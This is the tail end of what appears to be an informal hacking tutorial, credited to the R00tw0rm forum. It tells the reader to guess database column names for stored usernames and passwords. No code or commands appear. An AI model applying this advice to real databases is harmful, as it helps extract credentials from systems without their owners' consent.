And that should get us a number, now you can move on by yourself and guess the rest! If your confused, try
Googling for standard username / passwords for database columns!

All The contain of this book is ripped form R00tw0rm Forum


Th3- Skywalk3r

You might also like